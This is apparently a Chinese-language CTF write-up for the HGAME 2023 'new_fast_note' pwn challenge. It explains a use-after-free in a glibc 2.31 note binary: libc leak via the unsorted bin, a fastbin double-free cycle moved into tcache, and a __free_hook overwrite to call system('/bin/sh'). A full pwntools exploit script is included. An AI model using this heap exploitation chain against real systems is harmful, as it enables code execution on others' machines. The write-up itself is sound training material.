Featured image of post [HGAME 2023 week2]new_fast_note wp

[HGAME 2023 week2]new_fast_note wp

字数: 2583

UAF,从 unsorted bin 泄漏 main_arena 地址到 fastbins 和 tcache 的纠缠不清……

题面

1
2
3
4
5
6
7
8
Archive:  new_fast_note.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   191504  2023-01-02 00:20   ld-2.31.so
  2029592  2023-01-02 00:20   libc-2.31.so
    17448  2023-01-11 23:41   vuln
---------                     -------
  2238544                     3 files

给了 ld 和 libc 和二进制文件。

分析

checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week2-new_fast_note/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

经典全开堆菜单题属于是。

1
2
3
4
5
6
❯ ./vuln
1. Add note
2. Delete note
3. Show note
4. Exit
>

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(a1: argc, a2: argv, a3: envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf(a1: "%d", &v3);
    if ( v3 == 4 )
      exit(status: 0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts(s: "Wrong choice!");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          show_note();
          break;
        case 1:
          add_note();
          break;
        case 2:
          delete_note();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

switch case 出 3 个子菜单,处理 note。

add_node()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 add_note()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  unsigned int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf(format: "Index: ");
  __isoc99_scanf(a1: "%u", &v2);
  if ( v2 <= 0x13 )
  {
    printf(format: "Size: ");
    __isoc99_scanf(a1: "%u", &v3);
    if ( v3 <= 0xFF )
    {
      v0 = v2;
      *((_QWORD *)&notes + v0) = malloc(size: v3);
      printf(format: "Content: ");
      read(fd: 0, buf: *((void **)&notes + v2), nbytes: v3);
    }
    else
    {
      puts(s: "Too big.");
    }
  }
  else
  {
    puts(s: "There are only 20 pages in this notebook.");
  }
  return __readfsqword(0x28u) ^ v4;
}

读取索引、数字和内容进行创建。可以看到只能创建 20 个(0x13) note。且每个 note 大小不能超过 0xff 也就是最大分配 0x110 大小的 chunk。
notes 是在 .bss 下的指针数组,存储分配出来笔记。

delete_note()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete_note()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(format: "Index: ");
  __isoc99_scanf(a1: "%u", &v1);
  if ( v1 <= 0xF )
  {
    if ( *((_QWORD *)&notes + v1) != 0 )
      free(ptr: *((void **)&notes + v1));
    else
      puts(s: "Page not found.");
  }
  else
  {
    puts(s: "There are only 16 pages in this notebook.");
  }
  return __readfsqword(0x28u) ^ v2;
}

经典 use after free。仅作 free,而没有处理 notes 数组。而且只能 free 前 16 个,什么逻辑……

show_note()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 show_note()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(format: "Index: ");
  __isoc99_scanf(a1: "%u", &v1);
  if ( v1 <= 0xF )
  {
    if ( *((_QWORD *)&notes + v1) != 0 )
      puts(s: *((const char **)&notes + v1));
    else
      puts(s: "Page not found.");
  }
  else
  {
    puts(s: "There are only 16 pages in this notebook.");
  }
  return __readfsqword(0x28u) ^ v2;
}

用 puts 直接读 notes 偏移量。


综合之下,有 UAF 就能做很多事情。题目叫 new fast note,可能用到 fastbin?而题目给了 libc 版本是 glibc 2.31,带 tcache,各种对应版本的漏洞也要去研究。

分析

patchelf 把 ld 和 libc 打好,可惜给的 libc 没有 debug info,后面拿 libc 基址用的 gdb 直接取基址偏移量,发现更不错的方法!

因为最大能拿到 0x110 的 chunk 所以可以把 chunk free 到 unsortedbin 里,这里首先就是弄一个到 unsortedbin,利用 UAF 读到 libc 地址进而拿到 libc 基址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
for i in range(10):
    add(i, 0xFF, "".join(chr(i) * 8).encode())

free(9)
for i in range(7):
    free(i)

show(6)
libc_base = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]

这里 libc 偏移量 0x1ecbe0 是在拿到地址后,用 pwndbg 的 libc 命令拿到运行时基址然后算直接算得偏移。

此时 bins 的结构:

接下来就比较关键,可以用 fastbin 搞 double free 做出回环,然后将环搬到 tcache 改写 td 打到写 free_hook 变成 system("/bin/sh")

一步步来,先 add 一堆 0x20 note 然后 free 掉 8 个,0x20 是 fastbin 范围,在 tcache 满后就会进入 fastbin。

1
2
3
4
5
for i in range(0, 9):
    add(i, 0x20, "".join(chr(i) * 8).encode())

for i in range(0, 8):
    free(i)

这个时候呢,note0 ~ note8 被 malloc,然后 free 掉 0~6 进入 tcache,而 free(7) 进入 fastbins,此时还剩下 note8 作为 0x30 大小的 chunk 还留着也就是:

fastbin 对 double free 仅在表头做限制,就是不能连续 free 表头,而 tcache 有 key 检查,还是 fastbin 做 double free 简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
mchunkptr old = *fb, old2;

if (SINGLE_THREAD_P)
  {
/* Check that the top of the bin is not the record we are going to
   add (i.e., double free).  */
if (__builtin_expect (old == p, 0))
  malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
  }

我们假设 note7 为 H ,note 8 为 I。此时为 ->H->NULL 如果我们再做一次 free(8);free(7); 那么链条就会变成: ->H->I->H->…… 构造出来 fastbin 环。不过 fastbin 有 size 校验,会将取出来的地址作为 chunk 校验 size 字段是否在对应 fastbin 桶的保护,很难做写任意地址:

1
2
3
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
  malloc_printerr ("invalid fastbin entry (free)");

所以在之后把环搬进 tcache 里,libc 当 malloc 去 fastbins 取环的时候,如果 tcache 对应的 bins 还有空位 glibc 就会顺手把 fastbins 链剩下的 chunk 搬入 tcache 直到塞满。也就是 fastbin 到 tcache 转移。通过这样就能把环搬到 tcache。

做 fastbins 环:

1
2
free(8)
free(7)  # 构造 0x30 fastbin 环

接下来把 7 个 0x30 tcache 清空,写入 /bin/sh:

1
2
for i in range(7):
    add(i, 0x20, b"/bin/sh\x00") # 这里填 /bin/sh 方便之后取

可见 0x30 tcache 没了。接下来呢 note[0..6] 都存储了 /bin/sh 的 chunk。
接下来 add 0x20 并且改写为 __free_hook。需要知道这是两个过程,先 malloc 完之后才去改写,也就是上面的 add_note() 函数。因为是一个环,在 malloc 的时候发现 tcache 有空的,就将之后搬到 tcache 也就应该是:

1
tcaches: 0x30: 0xdc0

但是因为后面这是一个 fastbin 环,所以实际上应该是:

1
tcachebins [0x30]: 0xdc0->0xd90 <- 0xdc0

然后我们后面 free 改写 0xd90 (也就是我们新 malloc 出去的 chunk) 为 free_hook,应该变成:

1
tcachebins [0x30]: 0xdc0->0xd90->_free_hook

实际大差不差,只是地址偏移了 0x10:

这就很奇怪了……

执行的 exp 是这一行:

1
add(7, 0x20, p64(free_hook))

我们知道一个 chunk 的头部为 prev_size 和 size x86_64 一共 0x10 字节之后才的用户数据区或者 fd, bk。所以要直接作 chunk 偏移 0x10 之后才是用户数据区,有如下宏做这样的变换,从 chunk 头地址做 0x10 的偏移。

1
#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))

放入 tcache 用 tcache_put 函数实现。tcache_entry *e 函数用 chunk2mem 取。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk); // e = chunk + 0x10

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;  // 添加 key

  e->next = tcache->entries[tc_idx]; // next = 当前表头
  tcache->entries[tc_idx] = e;  // 表头 = e
  ++(tcache->counts[tc_idx]);
}

对应从 tcache 取出用的 tcahce_get():

1
2
3
4
5
6
7
8
9
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;  // 表头=e->next
  --(tcache->counts[tc_idx]);
  e->key = NULL;  // 清理 key
  return (void *) e;  // 返回 e,用户数据区
}

而 fastbins 直接就用 chunk 头地址来:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
mchunkptr old = *fb, old2;

if (SINGLE_THREAD_P)
  {
/* Check that the top of the bin is not the record we are going to
   add (i.e., double free).  */
if (__builtin_expect (old == p, 0))
  malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;  // chunk 头指针 p 的 fd = 旧表头
*fb = p;    // fastbin 表头 = p,也就是直接 chunk 头地址。  
  }

自然有 tcache = fastbin + 0x10 的计算关系。

取出后用 read 改写 note(7) 为 free_hook 就是上图的效果。
然后清理前两个 chunk:

1
2
add(8, 0x20, b"aaa")
add(9, 0x20, b"aaa")

接下来再分配 0x20 取 0x30 chunk 就是拿 __free_hook 地址,edit 该地址就直接改写 free_hook 的数据。将 free_hook 改写为 system addr 这样调用 free 也就是调用 system,传入一个字符串指针就可以执行命令,正好前面 note[0..6] 都是 “/bin/sh” 字符串只要任意 free 一个即可。

1
2
add(10, 0x20, p64(system_addr))
free(0)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context(log_level="debug")
io = process("./vuln")
#io = remote("node5.anna.nssctf.cn", 25395)
libc = ELF("./libc-2.31.so")
elf = ELF("./vuln")


def show(idx: int):
    print("show:", idx)
    io.recvuntil(b"\n>")
    io.sendline(b"3")
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())


def add(idx: int, size: int, content: bytes):
    print("add:", idx)
    io.recvuntil(b"\n>")
    io.sendline(b"1")
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.sendline(content)


def free(idx: int):
    print("free:", idx)
    io.recvuntil(b"\n>")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())


for i in range(10):
    add(i, 0xFF, "".join(chr(i) * 8).encode())

free(9)
for i in range(7):
    free(i)

show(6)
libc_base = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]

for i in range(0, 9):
    add(i, 0x20, "".join(chr(i) * 8).encode())


for i in range(0, 8):
    free(i)

# 这个时候 note[7] 进入 fastbin

free(8)
free(7)  # 构造 0x30 fastbin 环

for i in range(7):
    add(i, 0x20, b"/bin/sh\x00") # 这里填 /bin/sh 方便之后取



add(7, 0x20, p64(free_hook))
add(8, 0x20, b"aaa")
add(9, 0x20, b"aaa")
add(10, 0x20, p64(system_addr))
free(0)

#gdb.attach(io)
io.interactive()